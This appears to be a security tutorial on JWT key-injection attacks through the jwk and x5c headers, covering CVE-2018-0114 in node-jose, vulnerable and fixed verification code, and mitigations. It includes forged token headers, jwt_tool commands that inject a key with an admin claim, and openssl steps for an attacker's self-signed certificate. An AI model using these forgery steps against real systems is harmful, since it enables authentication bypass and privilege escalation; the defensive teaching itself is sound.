Embedded keys in the RFC
RFC 7515 §4.1.3 defines the jwk (JSON Web Key) header parameter as:"The public key that corresponds to the key used to digitally sign the JWS."The intent is for the token to be self-describing - a recipient can fetch the public key directly from the token without contacting any external endpoint.
The vulnerability arises when a library or application uses the embedded JWK directly for signature verification without checking it against a trusted key store. Since the attacker controls the token - including its header - they can embed any public key they choose, sign the token with the matching private key, and the server will successfully verify the signature using the attacker's own key.
The forged token structure
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"use": "sig",
"alg": "RS256",
"kid": "attacker-key-2024",
"n": "sdfG7kPqoK8zRx...", // attacker's public key modulus (base64url)
"e": "AQAB" // public exponent (65537)
}
}The payload contains whatever claims the attacker wants (role: "admin", arbitrary sub, etc.). The signature is computed using the attacker's RSA private key. A vulnerable server:
- Parses the header and extracts the
jwkfield - Imports the embedded public key
- Verifies the signature using that key
- The signature is valid - it was signed by the corresponding private key
- The server accepts the forged token as legitimate
node-jose and CVE-2018-0114
The most widely-cited real-world instance is node-jose versions prior to 0.11.0, disclosed in 2018. node-jose is the JOSE implementation used internally by many enterprise products, notably several Cisco applications. The vulnerable code path:
const jose = require('node-jose');
// VULNERABLE: key is extracted from the token header itself
async function verifyToken(token) {
// node-jose < 0.11.0 trusted the embedded JWK without validation
const key = await jose.JWK.asKey(
JSON.parse(atob(token.split('.')[0])).jwk // ← attacker-controlled
);
const result = await jose.JWS.createVerify(key).verify(token);
return result.payload;
}
// Attacker supplies a token with their own key in the header.
// jose.JWK.asKey() imports it.
// jose.JWS.createVerify(key).verify(token) - verifies against attacker's key → pass.const jose = require('node-jose');
// Build a keystore from pre-configured trusted keys ONLY
const keystore = jose.JWK.createKeyStore();
await keystore.add(trustedPublicKeyJwk); // server-side trusted key
async function verifyToken(token) {
// createVerify(keystore) IGNORES any embedded jwk/jku header params
// and only uses keys from the trusted store
const result = await jose.JWS.createVerify(keystore).verify(token);
return result.payload;
}EC key variant
The same attack works with ECDSA (ES256). The attacker generates an EC keypair, embeds the public EC key as the jwk claim with kty: "EC", and signs with the private EC key. The JWK format for EC keys:
{
"alg": "ES256",
"jwk": {
"kty": "EC",
"crv": "P-256",
"x": "f83OJ3D2xF1Bg8vub9tLe1gHMzV76e8Tus9uPHvRVEU",
"y": "x_FEzRu9m36HLN_tue659LNpXW6pCyStikYjKIWI5a0"
}
}Detection
To test a target, generate a fresh RSA or EC keypair in JWT Arsenal, forge a token with an arbitrary payload and your public key embedded in the header, then send it:
# jwt_tool's -X i flag performs JWK injection automatically:
python3 jwt_tool.py <JWT> -X i
# To inject with a specific claim:
python3 jwt_tool.py <JWT> -X i -I -pc sub -pv adminnode-jose < 0.11.0- CVSS 10.0 in Cisco product context- Affected Cisco Prime Infrastructure, Cisco Enterprise Network Function Virtualization Infrastructure Software, and others
- Pattern still appears in custom JWT parsers that extract the JWK before validating the signature
- Also found in some OIDC client libraries that support key discovery via
jwkheader
x5c - the X.509 certificate variant
RFC 7515 §4.1.6 defines x5c (X.509 Certificate Chain) as the certificate equivalent of jwk. Instead of embedding the public key as a JWK JSON object, the attacker embeds their X.509 certificate chain directly in the header as an array of base64-encoded DER certificates. A vulnerable server extracts the public key from the first certificate and uses it to verify the signature - same logic, different encoding.
{
"alg": "RS256",
"x5c": [
"MIICpDCCAYwCCQD..." // base64-encoded DER of attacker's self-signed certificate
// additional chain certificates if needed
]
}# Generate keypair and self-signed cert
openssl genrsa -out attacker.key 2048
openssl req -new -x509 -key attacker.key -out attacker.crt -days 365 \
-subj "/CN=attacker"
# Convert DER to base64 for the x5c array value
openssl x509 -in attacker.crt -outform DER | base64 | tr -d '\n'
# → paste this value into the x5c array in the header
# Then sign the forged token with attacker.key
# A vulnerable server reads x5c[0], extracts the public key, verifies → bypassUnlike x5u, this attack requires no external hosting - the certificate is self-contained in the token, making it usable even in environments where the server has no outbound internet access. The exploit profile is identical to JWK injection.
Mitigations
- Never use the
jwkheader field as the source of the verification key - always use a server-side trusted key store - If the library supports "keystore mode" vs "auto-key mode," always use keystore mode
- Validate that any key material used for verification matches a pre-configured trusted key by key ID or thumbprint
- Consider stripping or rejecting tokens that contain
jwk,jku, orx5uheader claims before processing - Keep JWT libraries up to date - this class of bug is typically fixed in library updates